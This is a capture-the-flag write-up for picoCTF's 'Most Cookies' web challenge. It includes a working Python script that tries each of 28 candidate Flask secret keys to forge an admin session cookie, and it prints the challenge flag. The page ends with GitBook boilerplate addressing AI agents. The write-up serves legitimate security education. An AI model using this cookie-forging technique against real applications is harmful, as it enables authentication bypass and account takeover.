> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/picoctf-writeups/picoctf/web-exploitation/most-cookies.md).

# picoCTF — Most Cookies

**Category:** Web | **Difficulty:** Medium

## What's going on?

The app stores a Flask session cookie with `{"very_auth": "blank"}`. The `/display` endpoint gives the flag only if `very_auth == "admin"`. The secret key is randomly chosen from a hardcoded list of 28 cookie names at startup.

## Step 1 — Get a session cookie from the site

```bash
curl -c cookies.txt -s http://wily-courier.picoctf.net:62582/ > /dev/null && cat cookies.txt
```

## Step 2 — Brute-force all 28 possible secret keys

Since the secret is one of 28 known strings, we forge an admin cookie with every possible secret and send each to `/display`. The key insight is hitting `/display` directly with `allow_redirects=False` — otherwise you get an infinite redirect loop.

```python
import hashlib
from flask.json.tag import TaggedJSONSerializer
from itsdangerous import URLSafeTimedSerializer
import requests

cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz",
                "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]

salt = "cookie-session"
signer_kwargs = dict(key_derivation="hmac", digest_method=hashlib.sha1)
url = "http://wily-courier.picoctf.net:62582/display"

for secret in cookie_names:
    sed = URLSafeTimedSerializer(
        secret_key=secret, salt=salt,
        serializer=TaggedJSONSerializer(),
        signer_kwargs=signer_kwargs
    )
    forged = sed.dumps({'very_auth': 'admin'})
    r = requests.get(url, cookies={'session': forged}, allow_redirects=False)
    if r.status_code != 302:
        print(f"Found! Secret: {secret}")
        print(r.text)
        break
```

## Step 3 — Run it

```bash
python3 exploit.py
```

## Flag

```
picoCTF{cO0ki3s_yum_98b76c03}
```

## Key Takeaways

* Flask session cookies are signed, not encrypted — the payload is just base64
* If the secret key is weak or guessable, cookies can be forged
* Always use a strong random secret key in production, never a wordlist


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/picoctf-writeups/picoctf/web-exploitation/most-cookies.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.